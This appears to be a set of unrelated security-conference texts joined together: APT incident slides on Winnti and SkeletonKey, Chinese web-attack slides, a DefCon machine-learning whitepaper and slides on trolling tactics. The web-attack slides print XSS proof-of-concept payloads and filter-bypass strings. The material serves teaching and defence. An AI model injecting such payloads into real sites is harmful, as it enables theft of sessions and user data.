►We thought baseClient.exe in our public report was a network probing tool
►It's actually Winnti backdoor
Other APT Events in Taiwan
CyCraft Proprietary and Confidential Information
ColdLock Ransomware
►Taiwan's national gasoline company was hit by ransomware
►ColdLock was based on an open-source ransomware: EDA2
►Ministry of Justice Investigation Bureau said the attack was related to Winnti group
CyCraft Proprietary and Confidential Information
SkeletonKey Attack in Taiwan
►Serval attacks against Taiwan government agencies used SkeletonKey
►Modified version of mimikatz executed file-lessly
When OpenProcess failed, it will load mimikatz driver to unprotect lsass.exe and try again.
CyCraft Proprietary and Confidential Information
Take Away
►Disclosure a large-scale APT attacks targeting semiconductor; more
than 7 vendors are compromised.
►Precisely attacks. Targets leading semiconductor vendors, their
subsidiaries, partners and competitors.
►Their goals is stealing intelligence property(documents, source code,
SDK of chip related projects). Make long-term damage to the victim.
CyCraft Proprietary and Confidential Information
Take Away
►Attackers utilize varies open source, general tools to make attribution
harder.
►In 2 shared case studies, AD & VPN are compromised. Enterprises
should consider resilience of IT systems. Avoid relying on a single
security service.
►A rarely used SkeletonKey technique is used, which makes
adversaries login like normal user. - Persistence, Defense Evasion.
►No system is safe. Regularly threat hunting, shorten the MTTD/MTTR.
Thanks for your listening! | pdf |
HACKSTUFF @ OSCAR
WEB前端攻擊與防禦
前言
★
不講FLASH
★
不講Moblie
★
WEB基礎
大綱
★
攻擊原理介紹
★
衍生攻擊
★
防禦方式
★
實際案例
我是誰
★
奧斯卡
★
PHP後端工程師
★
hackstuff member
★
[email protected]
前端
什麼是前端
★ 前端就是軟體中與用戶交互的部分
★ 這裡軟體指的是瀏覽器
HTML + CSS + JS
前端攻擊
★ 利用軟體中與用戶交互的弱點
進行非法操作
什麼是前端攻擊
攻擊點
★瀏覽器
★網站
★使用者
WEB前端攻擊主要類型
★XSS
★CSRF
★操作挾持
XSS
OWASP OPEN WEB APPLICATION SECURITY PROJECT TOP 10
A1 Injection
A2 Broken Authentication and Session Management (was formerly
2010-A3)
A3 Cross-Site Scripting (XSS) (was formerly 2010-A2)
A4 Insecure Direct Object References
A5 Security Misconfiguration (was formerly 2010-A6)
A6 Sensitive Data Exposure (2010-A7 Insecure Cryptographic
Storage and 2010-A9 Insufficient Transport Layer Protection were
merged to form 2013-A6)
A7 Missing Function Level Access Control (renamed/broadened from
2010-A8 Failure to Restrict URL Access)
A8 Cross-Site Request Forgery (CSRF) (was formerly 2010-A5)
A9 Using Components with Known Vulnerabilities (new but was part
of 2010-A6 – Security Misconfiguration)
A10 Unvalidated Redirects and Forwards
GOOGLE VULNERABILITY REWARD
什麼是XSS
不就 ALERT(‘XSS’)
什麼是XSS
★跨網站指令碼(Cross-site scripting,
通常簡稱為XSS或跨站指令碼或跨站指令碼攻
擊)
★避免跟CSS搞混,所以簡稱XSS
★XSS攻擊是攻擊者注入惡意代碼到網頁,用戶
載入並執行惡意代碼後的過程
XSS怎麼發生
/x.php?a=abc&b=123
hello, abc123
/x.php?a=<svg/onload=&b=alert(1)>
什麼是CSRF
★ 跨站請求偽造(英語:Cross-site request
forgery),也被稱為 one-click attack
或者 session riding,通常縮寫為 CSRF
或者 XSRF
★ 是一種挾制用戶在當前已登錄的Web應用程式上
執行非本意的操作的攻擊方法
★ XSS 利用的是用戶對指定網站的信任,CSRF 利
用的是網站對用戶網頁瀏覽器的信任
CSRF怎麼發生
CSRF怎麼防禦
★HTTP ONLY (Apache httpOnly
Cookie Disclosure)
★TOKEN
★Referer
什麼是操作挾持
★ 對某些操作進行狹持,讓使用者產生非預期結果
★ClickJacking
★Drag & Drop ClickJacking
★TabJacking
★RFD (Reflected File
Download Attack)
★XPS
★…等
CLICKJACKING
DROPJACKING
TABJACKING
★ https://www.youtube.com/watch?v=4fY8GIi2sl4
JS + CSS
RFD (REFLECTED FILE DOWNLOAD ATTACK)
★利用server返回未知content-type
使browser產生下載
★ http://drops.wooyun.org/papers/3771
XPS (COPY PASTE)
★copy & pest
★cross application XSS
★ http://www.slideshare.net/x00mario/copypest
前端攻擊
PHISHING
★рhp.net
★php.net
KEY LOGGER
XSS BLIND
★ WebRTC => get lan IP
★ port scan
★ <script src=ftp://192.168.1.1
onload=alert(1)></script>
★ CSS => fake login
★ http://www.wooyun.org/bugs/wooyun-2014-076685
XSSI
如何防禦XSSI
★X-Content-Type-Options:
nosniff
CHROME EXIF VIEWER 2.4.2 CROSS SITE SCRIPTING
★ exiftool -artist=="<script>alert(/xss/);</script>"
MICROSOFT INTERNET EXPLORER 6-10 MOUSE TRACKING
記住密碼
記住密碼是省去登陸需要輸入密碼的麻煩
提升用戶體驗
在這之前是通過本地cookie實現
也許並不是所有網站都采用持久化cookie
瀏覽器開始使用這樣的方式
同 Domain 同 Port
表單 <form />
欄位 <input username/password />
setTimeout 時間競爭
DEMO
如何防禦 密碼竊取攻擊
★網站:使用獨立DOMAIN
★用戶:不要記住密碼
該怎麼防禦XSS
你該知道
XSS類型
★反射 Reflected XSS
★儲存 Stored XSS
★DOM XSS
XSS衍生類型
★ mXSS (mutation Cross-site Scripting)
★ UXSS (Universal Cross-site Scripting)
★ Blind XSS
★ XSSI (Cross Site Script Inclusion)
★ …等
你該知道
編碼類型
★HTML編碼
★JavaScript編碼
★URL編碼
★字元編碼 (8,10,16)進位, ASCII,
Unicode
★…等
你該知道
瀏覽器解析
無法辨識標籤 <m/onclick=alert(1)>
SVG <svg><script>prompt(1)</script>
IE {text-size:"expression(alert('1'))";}
…等
瀏覽器解析 - SAFARI
瀏覽器解析 - SAFARI
你該知道
HTML5隱患
新的標籤和屬性
TAG
★ <script> <a> <p> <img> <body> <button> <var> <div>
<iframe> <object> <input> <select> <textarea>
<keygen> <frameset> <embed> <svg> <math> <video>
<audio>
EVENT
★ onload onunload onchange onsubmit onreset onselect
onblur onfocus onabort onkeydown onkeypress onkeyup
onclick ondbclick onmouseover onmousemove onmouseout
onmouseup onforminput onformchange ondrag ondrop
WEBRTC
★WebRTC,名稱源自網頁即時通訊(英語:Web
Real-Time Communication)的縮寫,是一個
支援網頁瀏覽器進行即時語音對話或視訊對話的
API。它於2011年6月1日開源並在Google、
Mozilla、Opera支援下被納入全球資訊網協會的
W3C推薦標準。
★
https://dl.dropboxusercontent.com/u/1878671/enumhosts.html
CANVAS FINGERPRINTING
★Secure Web Fingerprint Transmission
★原理是利用不同機器對字型 render 不一樣的原
理再對產生出來的圖片 hash 後當作 cookie
替代品。
★
https://blog.gslin.org/archives/2014/08/05/4927/%E7%94%A8-canvas-
fingerprint-%E5%8F%96%E4%BB%A3%E9%83%A8%E4%BB%BD-cookie/
你該知道
ES6
★alert`1`
★eval.call`${‘alert\x281)’}`
★[].every.call`alert\x281)$
{eval}`
★…等
該怎麼防禦XSS
★瀏覽器
★網站
★使用者
三個方向
★XSS FILTER
★support CSP
瀏覽器
★CSP (Content-Security-Policy)
★X-Frame-Options
★Hook JS Function
★PhantomJs
★WAF
網站
★ Content-Security-Policy
★ Content-Security-Policy-Report-Only
★ X-Content-Security-Policy
★ X-Content-Security-Policy-Report-Only
★ X-WebKit-CSP
★ X-WebKit-CSP-Report-Only
CSP (CONTENT-SECURITY-POLICY)
★
devco.re/blog/2014/04/08/security-issues-of-http-headers-2-content-security-
policy/
★NoScript
使用者
實際案例
實際案例-1
實際案例-2
實際案例-3
如何防禦
★ content-type = application/
json;charset=utf-8
最後
BYPASS CSP
★ https://html5sec.org/cspbypass/
★ http://zone.wooyun.org/content/10596
BYPASS NOSCRIPT
★Using Google Cloud to Bypass
NoScript
★http://labs.detectify.com/post/
122837757551/using-google-cloud-
to-bypass-noscript
BYPASS XSSFILTER
★/?a=<script>alert(1)</script>
BYPASS XSSFILTER
★/?a=<svg><script>/<1/>alert(1)</
script></svg>
未來
Q&A | pdf |
Defending Networks with Incomplete Information: A Machine Learning Approach
DefCon 21 – 2013
Page 1
Defending Networks with Incomplete
Information: A Machine Learning
Approach
Introduction and Abstract
Let's face it: we may win some battles, but we are losing the war pretty badly.
Regardless of the advances in malware and targeted attacks detection
technologies, our top security practitioners can only do so much in a 24 hour
day. Even less, if you consider they need to eat and sleep. On the other hand,
there is a severe shortage of capable people to do "simple" security monitoring
effectively, let alone complex incident detection and response.
Enter the use of Machine Learning as a way to automatically prioritize and
classify potential events and attacks as something can could potentially be
blocked automatically, is clearly benign, or is really worth the time of your
analyst.
In this Whitepaper we will present publicly for the first time an actual
implementation of those concepts, in the form of a free-to-use web service. It
leverages OSINT sources and knowledge about the spatial distribution of the
Internet to generate a fluid and constantly updated classifier that pinpoints areas
of interest on submitted network traffic and security tool log sources.
Whitepaper Topics:
Introduction and Abstract .................................................................................................................. 1
Security Monitoring: We are doing it wrong............................................................................. 2
Machine Learning and the Robot Uprising ................................................................................ 2
More attacks = more data = better defenses ............................................................................. 5
Designing a model to detect external agents with malicious behavior ........................ 6
Data Collection .................................................................................................................................... 6
Model Intuition ................................................................................................................................... 6
Feature Engineering......................................................................................................................... 7
Training the model ........................................................................................................................... 7
Results .................................................................................................................................................... 8
Future Direction and Improvements ............................................................................................ 9
Acknowledgments and thanks ......................................................................................................... 9
References .............................................................................................................................................. 10
Defending Networks with Incomplete Information: A Machine Learning Approach
DefCon 21 – 2013
Page 2
Security Monitoring: We are doing it wrong
The amount of security log data that is being accumulated today, be it for
compliance or for incident response reasons, is bigger than ever. Given the push
on regulations such as PCI and HIPAA, even smallish and medium companies
have a large quantity of machine-generated data stored in log management
solutions no one is currently looking at.
There is a clear a surplus of data and a shortage of professionals that are capable
of analyzing this data and making sense of it. This is one of the main criticisms
that compliance and "check-box security" practices receive, and, of course, it is
legitimate criticism because no one is safer for just accumulating this data.
Even when organizations have more advanced log management and SIEM
solutions, there is a great difficulty in prioritizing what should be investigated as
security events happen. These tools' functionality relies too deeply on very
deterministic rules: if something happens in my network X amount of times, flag
this as suspicious and or send me an alert. The problems arise from the fact that
the somethings and the Xs vary widely between organizations and also evolve (or
devolve) over time in an organization itself. It is truly a Sisyphean effort.
But this is not exclusively a tool problem. There are a few really talented and
experienced professionals that are able to configure one of these systems to
perform. However, it usually takes a number of months or years and a couple of
these SOC "supermen" working full-time to make this happen. And now we are
adding Big Data to SIEM solutions? What chance do we have of finding a needle
on a 1,000 times larger haystack?
But how many of these mythical and magical people exist? The new "security
analyst" must now understand not only the intricacy of attack and defense but
also be an accomplished "data analyst" or "data scientist" in order to work
through massive amounts of data. I am not sure where they are, but I can assure
you they are not working 24x7, night or weekend shifts on your local or
subcontracted monitoring team.
We are doing it wrong.
This project introduces the idea of using Machine Learning techniques to mine
information like this and help companies make informed decisions based on this
treasure trove of information they have available.
The initial algorithms presented on this paper, by itself, may not yet outperform
a (very well) trained analyst but:
it's certainly better than no action at all;
it can greatly enhance the analyst's productivity and effectiveness by letting
him focus on the small percentage of data that is more likely to be
meaningful.
Machine Learning and the Robot Uprising
Machine learning is designed to infer relationships from large volumes of data. In
a way, you do not design the classifications routines or the specific algorithm you
Defending Networks with Incomplete Information: A Machine Learning Approach
DefCon 21 – 2013
Page 3
are using, but let the data itself shape how the program should behave. The
terms learning and artificial intelligence are usually associated with these kinds
of routines because these processes try to mimic the way the brain learns by
association and repetition. Once you have seen enough chairs, you will know
when you see a completely different chair even if it has a different shape, color or
is made of a different material.
Machine learning based systems are being used all around us:
In sales and marketing, to serve us online ads, to suggest us products that are
similar to the ones we or our friends have bought;
In financial systems, fueling high-frequency trading applications looking for
patterns in penny stocks or opportunities for arbitrage;
In image processing, for example to convert an image of a text into a
computer document (OCR).
Alas, they are not perfect: we always see an online ad that does not make sense
("what am I going to do with a carbon-fiber pogo stick?") or the market crashes
on an algorithm bug, but the have a very good performance on problems that are
otherwise intractable due to dataset sizes or response time necessary.
There is a huge number of algorithms, techniques, sub-groups and quasi-
religious belief systems associated with Machine Learning, but for all intents and
purposes we will limit our exploration to what are called "supervised learning"
and "unsupervised learning" problems. The names are what they seem:
In Supervised Learning, you are telling the algorithm what to expect from the
training data. In other words, you need to tell it what results it should aim for
when it sees similar data points. This is the basis of neural networks and
other predictive algorithms;
Figure 1 - Supervised Learning (source:scikit-learn.github.io/scikit-learn-tutorial/general_concepts.html)
Defending Networks with Incomplete Information: A Machine Learning Approach
DefCon 21 – 2013
Page 4
In Unsupervised Learning, the algorithm just receives the data and tries to
infer relationships like similarity and proximity from the observations. This
is more commonly used to either support anomaly detection (this data point
is not like the others). It is also used to help figure out what is really relevant
on the data set, on a process that is called "feature extraction".
Figure 2 - Unsupervised learning (source: scikit-learn.github.io/scikit-learn-tutorial/general_concepts.html)
The thesis is that we can apply machine learning to parameterize the somethings
and the Xs I mentioned before with very little effort on the human side. We could
use Unsupervised Learning to find patterns in data that could generate new rules
and relationships between occurrences in our networks. Or we could use
Supervised Learning with the humans providing examples of "good” and “bad”
behavior in their networks, so that the algorithm can then sift through
gargantuan amounts of data and suggest other instances that are likely to be
relevant in the same way.
There is actually a very good use case for Machine Learning in Information
Security, which are spam filters. Nobody really talks about spam filters anymore,
because, in a way, the problem has been satisfactory "solved", or actually
reached an evolutional plateau. You still can't defeat actors that exploit the
algorithm directly, such as sending a specially crafted phishing attack that looks
like a regular e-mail. This is a more complicated problem, involving game theory
and rational adversarial modeling [1].
Regardless, this is a neglected tool for Information Security by and large, and that
is an odd choice, because it seems to be a good fit for the challenges we face day
after day.
Defending Networks with Incomplete Information: A Machine Learning Approach
DefCon 21 – 2013
Page 5
More attacks = more data = better defenses
The great advantage of Machine Learning over more traditional approaches for
Security Monitoring is that the predictive capabilities of the algorithm improve
as you provide more data to its training processes. As your number of
observations gets much larger than the complexity of the model you are trying to
predict (usually referred in ML terms as dimensionality or VC-dimension), it gets
very efficient indeed.
Let that sink in for a moment. The more you are attacked, the better your
defenses can be. These categories of things have been deemed "Antifragile"[2],
and they benefit from disorder and chaos. And disorder and chaos sound a lot
like where we are today in Information Security monitoring.
This is a generalization, of course. The model that you choose to be trained, the
specific math of the algorithm you choose all have direct impact on its
performance and efficiency, and you need to choose the right “features” of the
data wisely. But once you have a reasonable result on a smallish dataset,
expanding the amount of data it is able to process will improve its efficiency.
Figure 3 - Theoretical description of expected Ein (classification error in training set of the model)
and expected Eout (classification error on new data that is predicted using the model). Source:
Caltech, Learning from Data Course materials
Given the amount of log data I mentioned before that is just sitting inside the
organizations, seems like a good deal to me.
Defending Networks with Incomplete Information: A Machine Learning Approach
DefCon 21 – 2013
Page 6
Designing a model to detect external agents with malicious
behavior
Data Collection
As an example of these capabilities, we present an implementation of a
supervised learning model that we created based on public summarized log
information made available by the SANS Technology Institute[3], more
specifically by the DShield Project API[4].
The DShield project collects firewall logs from contributors all over the world
and summarizes the blocked connections to pinpoint hosts that are engaging in
vulnerability exploitation or port scanning in relation to these corporations.
Also, the data volumes are impressive, as we can see on the bulk data made
available that there is a daily average of 1 million relevant summarized events.
Back-of-the-envelope calculations have us estimate these summaries come from
30 million firewall blocks per day.
SANS offers an open API that provides access summarized anonymous
information from this sources including information or malicious IP addresses,
domains, AS, and the such, where malicious has a definition as simple as "this IP
address has been hammering closed ports on these firewalls for the longest time
now". Low hanging fruit it seems, but simple and effective triage.
Model Intuition
This data is routinely used as an OSINT source for blacklisting IP addresses on
some SIEM and Monitoring deployments. However, the effectiveness of this
measure is debatable at best, because active attackers, and even scripted worms
and bots will constantly change IP addresses.
However, they will not move very far.
There is a tendency of bad behavior being dependent on the topology of the
Internet, that is if you have machines that are engaging on a specific type of
behavior in the internet, their neighbors (as far as Organizational and ISP
Autonomous Systems (AS) are concerned) are more likely to engage in this
behavior.
This thesis is not only supported by common knowledge, one of the greatest
inspirations of this work was a PhD Thesis paper by Moura called "Internet Bad
Neighborhoods"[5] and a companion paper called "Internet Bad Neighborhoods
Aggregation"[6] that talk about some experiments he and his collaborators have
performed using traffic from RNP, the Brazilian academic research network.
Same conclusions can be drawn by Google's Recent Safe Browsing Transparency
Report [7].
But they will eventually change over time.
This information on bad behavior is time-sensitive. If a specific IP address
attacked your organization a week ago, this is probably relevant information for
the monitoring team if they should commit resources to investigating events
Defending Networks with Incomplete Information: A Machine Learning Approach
DefCon 21 – 2013
Page 7
from this IP address or nearby IP addresses. If it attacked yesterday, that is
certainly more relevant to the team.
All Security Monitoring professionals will remember a few occasions when they
would be on duty and "recognized" an IP address on the dashboard or event
stream and some kind of "intuition" clicked that that was an event they had seen
before and it should be followed up.
This is the intuition this algorithm intends to capture, using the data gathered
from the DShield data to predict if an IP address is likely to be malicious or not.
Feature Engineering
In order to create the features we need to the machine learning algorithm, we go
through the following steps:
1. Initially we cluster the events we have by specific behaviors, such as blocked
attempts on port 3389, 22 or 80 or port scans (where the same IP address
attempts to connect to multiple ports). These clusters of events are deemed
positive for bad behavior in our model, and each of the IP addresses get a
rank of one for that day. These clusters from this example were arbitrarily
chosen, but could have been selected by an unsupervised learning algorithm.
2. After we have identified these "bad" IP addresses per day, we need to add up
their scores. However, we need to attenuate the contribution from each day
as the days pass, as described in our time-based intuition component. For
that, we apply an exponential function to the ranks of the IP address on each
date, so that it will have a specific half-life.
a. One of the behaviors we get from this is that if you choose a half-life
around 5 to 7 days the contribution from IP addresses that last
showed up their contribution will all but disappear in about 90 days
or so. This helps the algorithm take in account changes in the Internet
topology, or even different threat actors that might be starting to
target the organization or getting bored and moving elsewhere.
3. Now that we have ranks for each IP address over time, we group them in
sensible ways to exploit the neighborhood behaviors we discussed on the
intuition. We compose the IP addresses by arbitrary net blocks (such as /16
or /24) and by which organizational and ISP AS they belong, being careful to
normalize the rank by the number of possible IP addresses on the range. The
contribution from each IP address must be proportional to the total number
of IP addresses we have on the specific grouping.
With these calculations, we have all the features we need to train a classifier
based on these IP address ranks where we select a group of these features
Training the model
Given the rank calculations on each IP addresses, we can select a group of IP
addresses from the DShield summary events and from contributed blocked logs.
We select a few tens of thousands of observations assigning them the label of
malicious event.
Defending Networks with Incomplete Information: A Machine Learning Approach
DefCon 21 – 2013
Page 8
However, in order to properly train the algorithm, we require benign IP
addresses as well. Otherwise any algorithm can just infer the trivial case that
"everything is malicious".
In other to provide sufficient non-malicious IP addresses to train the model, we
made use of the lists of Top 1 Million domains provided by Alexa [8] and the
Google Safe Browsing [7] initiative. These are not perfect sources and malware
domains have been know to creep in, specially when you approach the end of the
list. We have found that the initial 20.000 to 40.000 entries hold really well, and
provide a good diversity of origin countries. This helps the model not trivialize
on specific regions of the world as bad actors given the predominance of US-
based log sources on the DShield sampling.
With the dataset created with the selected features, it is just a matter of using
your favorite classification algorithm. After some experimentation, we have
selected Support Vector Machines[9], which do a very good job in separating
non-linear groups when the features are numeric (which is our case here). We do
not go into the details of the specific math machinery behind this, as it would
deviate from the point of this document, but this specific algorithm can be
trivially implemented with scientific languages or libraries in Java, Python or R
[10].
As in many problems in analytics and machine learning, getting to a good answer
is now usually the problem. The machinery is all there, but you need to ask a
good question.
Results
The model was trained using a technique called cross-validation.[11] That
basically means that part of the training data of the model is not used to train the
model, and is actually used to validate the results from the model trained on the
other part of the data (which is then called the validation set). So in machine
learning terms, if you do a 10-fold cross-validation, you are effectively dividing
your dataset in 10 equally sized subsets, and training your model 10 times,
always leaving one of the subsets out of the training. You then predict what the
subset classification would be if you did not know it already using this recently
trained model. The average of the classification errors you get from each subset
(what percentage you got wrong) is called the cross-validation error, which is a
good estimation of the model error on new data. [11]
For the model described above, using DShield data for the last 6 months, we are
able to reach an 85 to 95% of cross-validation accuracy.
The results vary from the way we cluster the "bad behavior" of the data:
for instance, it is much more efficient when we are specifically targeting
ports 3389 or port 80, but is on the low ends of the results when we
target port 22.
There seems to be a high correlation on the amount of observations on
the DShield data with this predictive power, as it is very skimpy on port
22, for example, and many days’ worth of data have to be incorporated
into the model for it to have enough data points to beat the
"dimensionality issue" we described before. However we cannot say for
sure if this is case without more data to test the models with.
Defending Networks with Incomplete Information: A Machine Learning Approach
DefCon 21 – 2013
Page 9
When you generalize a model to completely new data, it is normal that a model
loses accuracy, and sometimes it can be a deal breaker. However as we tested the
trained models on log data provided by volunteers on the respective days of the
trained models, they showed a 80 to 85% of true positive ratings (sensitivity) on
items that had previously marked as malicious and 85% to 90% true negative
ratings (specificity) [12].
Statistically speaking, that provides an odds likelihood [13]that an event
pinpointed by the model in this example has 5.3 to 8.5 times to be malicious than
one that did not. That on itself could greatly assist the monitoring team that
should be reviewing these logs.
Additional details on the accuracy, true positive and true negative ratios for the
different experiments will be made available in the presentation itself during the
conference.
Future Direction and Improvements
The main challenges involve the gathering of more historical data to improve the
performance of the model further. Additionally, using IP addresses for the
correlation makes the detection susceptible to diversionary techniques such as
open proxies, Tor and address spoofing (particularly for UDP), making those
sources appear malicious as well over time if they are used for malicious
purposes.
In order to develop this concept further, we have put together a project called
MLSec (Machine Learning Security)[14] at http://mlsecproject.org, created to
evolve new Machine Learning algorithms focused on assisting Information
Security Monitoring.
We set up a free service where individuals and organizations submit logs
extracted from their SIEMs or firewalls and have access to automated reports
from the algorithms to pinpoint points of interest on the network. Their feedback
on the detected events also helps us fine-tune the algorithms over time.
The service is being scaled out to accept more participants to contribute with log
data and feature requests to improve the current models and to develop new
ones.
Acknowledgments and thanks
The author would like to thank:
-
Sans Technology Institute, and their DShield Project
-
Team Cymru, for their IP to ASN Mapping project and Bogon Reference
-
MaxMind for their GeoLite data (http://www.maxmind.com)
Defending Networks with Incomplete Information: A Machine Learning Approach
DefCon 21 – 2013
Page 10
References
[1] "Sci vs. Sci: Attack Vectors for Black-hat Data Scientists, and Possible
Countermeasures" - Joseph Turian -
http://strataconf.com/strata2013/public/schedule/detail/27213
[2] "Antifragile: Things That Gain from Disorder" - Nassim Nicholas Taleb -
http://www.randomhouse.com/book/176227/antifragile-things-that-gain-
from-disorder-by-nassim-nicholas-taleb
[3] SANS Technology Institute - https://www.sans.org/
[4] DShield API - SANS Internet Storm Center - https://isc.sans.edu/api/
[5] Internet Bad Neighborhoods – G. Moura
http://www.utwente.nl/en/archive/2013/03/bad_neighbourhoods_on_the_inte
rnet_are_a_real_nuisance.doc/
[6] Internet Bad Neighborhoods Aggregation -
http://wwwhome.cs.utwente.nl/~sperottoa/papers/2012/noms2012_badhood
s.pdf
[7]: https://www.google.com/transparencyreport/safebrowsing/
[8]: http://www.alexa.com/topsites
[9]: Support Vector Machines for Classification - Dmitriy Fradkin and Ilya
Muchnik - http://paul.rutgers.edu/~dfradkin/papers/svm.pdf
[10] R Core Team (2013). R: A language and environment for statistical
computing. R Foundation for Statistical Computing, Vienna, Austria. URL
http://www.R-project.org/.
[11] Cross-validation (statistics) - https://en.wikipedia.org/wiki/Cross-
validation_(statistics)
[12] Sensitivity and Specificity -
http://en.wikipedia.org/wiki/Sensitivity_and_specificity
[13] Likelihood ratios in diagnostic testing -
http://en.wikipedia.org/wiki/Likelihood_ratios_in_diagnostic_testing
[14] MLSec Project - http://mlsecproject.org/ | pdf |
Beyond the Lulz:
Black Hat Trolling, White Hat Trolling, and Hacking the Attention Landscape
SECTION 1
Are you familiar with fishing? Trolling is where you set your
fishing lines in the water and then slowly go back and forth
dragging the bait and hoping for a bite. Trolling on the Net is
the same concept - someone baits a post and then waits for
the bite on the line and then enjoys the ensuing fight.
- Anonymous usenet poster, 1995 (relayed by Judith Donath,
Identity and Deception in the Virtual Community, 1998)
The well-constructed troll is a post that induces lots of
newbies and flamers to make themselves look even more
clueless than they already do, while subtly conveying to the
more savvy and experienced that it is in fact a deliberate
troll. If you don't fall for the joke, you get to be in on it.
- Troller’s FAQ by [email protected], 1996
Being a prick on the internet because you can. Typically
unleashing one or more cynical or sarcastic remarks on an
innocent by-stander, because it’s the internet and, hey, you
can.
- EREALLY GUD DEFUNITION MAKUR, Urban Dictionary, 2004
A smart vendor treats vulnerabilities less as a software
problem, and more as a PR problem. So if we, the user
community, want software vendors to patch vulnerabilities,
we need to make the PR problem more acute.
- Bruce Schneier, 2007
Laughter at the expense or misfortune of others.
- A troll to Gabriella Coleman,
Hacker, Hoaxer, Whistleblower, Spy, 2014
Part of:
a rich aesthetic tradition of spectacle and transgression...
which includes the irreverent legacy of phreakers and the
hacker underground.
- Gabriella Coleman, Phreaks, Hackers, and Trolls: The
Politics of Transgression and Spectacle,’ 2012
The best challenge to the authority of something is to find where
its semantic or enforceable borders break down and to exploit
those shortcomings.
- Brad Troemel, proclaimed the “Troll of Internet Art,” 2012
We’ve come up with the menacing term 'troll' for someone
who spreads hate and does other horrible things
anonymously on the internet.
- Adrian Chen, MIT Technology Review, 2014
Until sensationalist, exploitative media practices are no longer
rewarded with page views and ad revenue—in short, until the
mainstream is willing to step in front of the funhouse mirror and
consider the contours of its own distorted reflection—the most
aggressive forms of trolling will always have an outlet, and an
audience.
- Whitney Phillips, This Is Why We Can’t Have Nice Things, 2015
- Users looking to govern or police their communities
- Hackers looking to corral attention or pressure vendors
- Subcultural trolls looking for ‘lulz’
- Artists looking to critique cultural practices
- Political actors looking to destabilize public sphere
- Political actors looking to corral attention or attack opponents
• Troll
• Bait
• Target
• Third-party to interpret the exchange
• Intended outcome
• (Possible amplification)
• (Possible political reframing and subsequent amplification)
• “Cognitive Hacking”? (Cybenko, et al)
• “Attention Hacking”? (boyd)
• “Cognitive Denial of Service”? (Waltzman)
• Exploiting Socio-Technical “Vulnerabilities”?
• A bug or a feature?
- Poe’s Law
- Context Collapse
- Network Anonymity and Ephemerality
- Cross Platform Ambiguity
- Attention Economics (high cost of verification)
- Lack of Trust
• Draw attention to ignored issues (agenda setting)
• Distract attention from issues
• Put pressure on entity (security economics) (accountability)
• Draw a telling response (transparency)
• Deny a response
• Diminish an opponent’s resources or morale
• Design ?vulnerabilities?
• Intent (public good) vs. Reality (profit)
• “Latent affordances”
• Trolling is to socio-technical systems what hacking is to
technical systems
• What lessons are translatable?
SECTION 2
WHITE HAT TROLL?
• Agenda Setting (from below)
• Attention is a scarce resource (attention economics)
• Legacy gatekeepers (media) compete with an emergent class
of network (social media) gatekeepers to direct attention.
• Trolling as social engineering: gaining access (via gatekeepers)
to the resources of a closed system (their audience)
• Newspaper editors and reporters
• Platform designers / vendors
• Platform algorithms
• Content moderators
• Advertisers
• Anyone with framing or curating capacity (i.e.: Users)
Karine Barzilai-Nahon, 2008
• Exploiting or detourning gatekeeper vulnerabilities to affect
readers / users
• Eliciting changes to gatekeeping practices
• Disclosing dynamics inherent to gatekeeping
• Posing as gatekeepers
• Capturing legacy gatekeeper resources / audiences
• Clickbait / ”Bleeding Leads” / Breaking News
• Network curation
• Asymmetric cost to debunk
• Automated amplification (bots)
• Adtech
• Context collapse / Poe’s Law / Anonymity
• Pepe as a Trojan Horse
• Vulnerabilities all the way down?
• Where does securitization stop?
• What is gatekeeper responsibility to users?
• Is this codified? How?
• Is paternalistic gatekeeping inherently authoritarian?
• Is network gatekeeping inherently democratic?
• When is gatekeeping in the public interest?
SECTION 3
• Non-prescribed engagement
• Push private agenda
• Counter to target’s interest
• Non-prescribed engagement
• Demonstrate attack surface (proof of concept)
• Trolling as revelatory moment
• Increase pressure on gatekeepers
• Troll back
• Sense of public interest?
• Align system with intent
• Disclose vulnerabilities selectively to platforms / journalists
• Disable possibility of non-prescribed engagement through
research and education
• Reduce attack surface
• Create a discursive “patch” (i.e. Godwin’s Law)
• Who?
• What are the incentives?
• Who is being tasked to respond?
• What is the form of disclosure?
• Whose interest is served?
• How do ”the lulz” figure in?
• What are the ethics of fun at others’ expense?
• Has the adoption of trolling as a propaganda technique by
states and political radicals changed the possibility of just
“doing it for the lulz”? Hacking for fun?
SECTION 4
• Political Maneuvering
• Chaos / Scorched Earth
• Perception Management
• Denial of Service
• Lulz / Drama
• Agenda Setting / Priming
• Incitement
• Response seeking
• Community building
• Community governance
• Demoralization / Outrage
• Profit???
• Source Hacking / Journobaiting
• Attentional Honeypots
• Keyword Squatting
• Capturing the Narrative
• Cognitive Denial of Service
• Brute Force Harassment
• Ironical Bait & Switch
• Gaming Databases / Algorithmic Control
• Memetic Trojan Horses
• Controlled Opposition
• Driving a Wedge
• Concern Trolling
• Brigading / Dogpiling
• Sockpuppetry
• Jiu Jitsu / Self-Victimization
• Doxing
• Context Distortion
• Deep Fakes / Photoshops
SECTION 5
• A bug or a feature?
• Is trolling a problem?
• Or is this how networked media
dynamics are supposed to work?
• Do nothing
• Incentivize trolling from diverse perspectives
• A trolling arms race
• A trolling code of ethics
• Technical re-design
• Policy change
• Content moderation
• Media literacy (for users and gatekeepers?)
• Norms like “Don’t Feed the Trolls” / “Strategic silence”
• Regulation
• Institutionalized trust and verification
• Right to speech ≠ Right to amplification?
• Media Literacy vs. Attention Economics?
• Network Gatekeeping vs. Paternalism?
• What Public Interest? What Ethical system? Which Establishment?
• Who discloses, how, to whom, to what end?
• Right to free speech with your one mouth?
• Right to amplification of that speech?
• Monopolization of attention = DOS of other’s
free speech?
• Finite lifetime problem
• Can’t verify/investigate every claim
• Inflammatory lies stickier and more profitable
• Moderation under counts
• No moderation over counts
• Do-it-yourself moderation tends to tribalism?
• Lessons from Computer Fraud and Abuse Act?
• Chilling Effect?
• Trolls, Platforms, Journalists?
• Negative externalities?
• Current laws in place?
• To who’s standards?
• Addressing what issues?
• Informed by red teaming “white hat trolls?”
• Informed by external pressure from “gray hat trolls?”
• Proof of Concept?
• Full disclosure? Security Economics?
• Markets?
• Selective Disclosure? Security Research?
• Bounty Programs? Penetration Testing? Auditing?
• Professionalization?
• White Hats, Gray Hats, Black Hats?
• More Positions, More Issues
• Politics of Spectacle
• Agonistic Politics
• Race to the Bottom?
• Norms or Codes of Ethics?
All of the above but none too well – cracks are where the light
gets through!
APPENDIX
• Security Economics
• Politics of Spectacle / Security Economics
• Security Economics
• Keyword Squatting
• Keyword Squatting
• Scorched Earth
• Algorithmic Gaming
• Critical Trolling
• Critical Trolling
• Critical Trolling
• Counter Meme
• Source Hacking
